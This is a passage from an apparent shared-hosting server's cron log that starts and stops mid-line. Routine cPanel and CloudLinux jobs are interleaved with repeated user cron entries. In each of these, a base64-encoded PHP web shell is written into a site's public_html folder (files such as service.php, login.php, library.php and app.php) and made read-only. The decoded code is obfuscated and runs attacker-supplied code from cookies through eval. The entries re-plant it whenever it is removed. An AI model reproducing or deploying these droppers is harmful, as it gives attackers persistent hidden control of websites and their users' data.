ICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:38:02 medusa CROND[13458]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:38:02 medusa CROND[13460]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:38:02 medusa CROND[13461]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:38:02 medusa CROND[13462]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:38:02 medusa CROND[13468]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:38:02 medusa CROND[13469]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:38:02 medusa CROND[13472]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:38:02 medusa CROND[13473]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 15:39:01 medusa CROND[15246]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:39:02 medusa CROND[15263]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:39:02 medusa CROND[15270]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Jun  7 15:39:02 medusa CROND[15271]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 15:39:02 medusa CROND[15272]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:39:02 medusa CROND[15275]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 15:39:02 medusa CROND[15276]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:39:02 medusa CROND[15278]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:39:02 medusa CROND[15280]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:39:02 medusa CROND[15284]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:39:02 medusa CROND[15285]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:39:02 medusa CROND[15286]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:39:02 medusa CROND[15287]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:39:02 medusa CROND[15283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:40:01 medusa CROND[16912]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 15:40:01 medusa CROND[16914]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 15:40:01 medusa CROND[16916]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 15:40:01 medusa CROND[16917]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 15:40:01 medusa CROND[16920]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 15:40:01 medusa CROND[16929]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 15:40:01 medusa CROND[16937]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 15:40:01 medusa CROND[16938]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 15:40:01 medusa CROND[16939]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 15:40:01 medusa CROND[16940]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 15:40:01 medusa CROND[16943]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 15:40:01 medusa CROND[16941]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:40:01 medusa CROND[16949]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:40:01 medusa CROND[16942]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 15:40:01 medusa CROND[16948]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:40:01 medusa CROND[16951]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:40:01 medusa CROND[16950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:40:01 medusa CROND[16955]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:40:01 medusa CROND[16952]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 15:40:01 medusa CROND[16959]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:40:01 medusa CROND[16957]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 15:40:01 medusa CROND[16975]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 15:40:01 medusa CROND[16976]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSA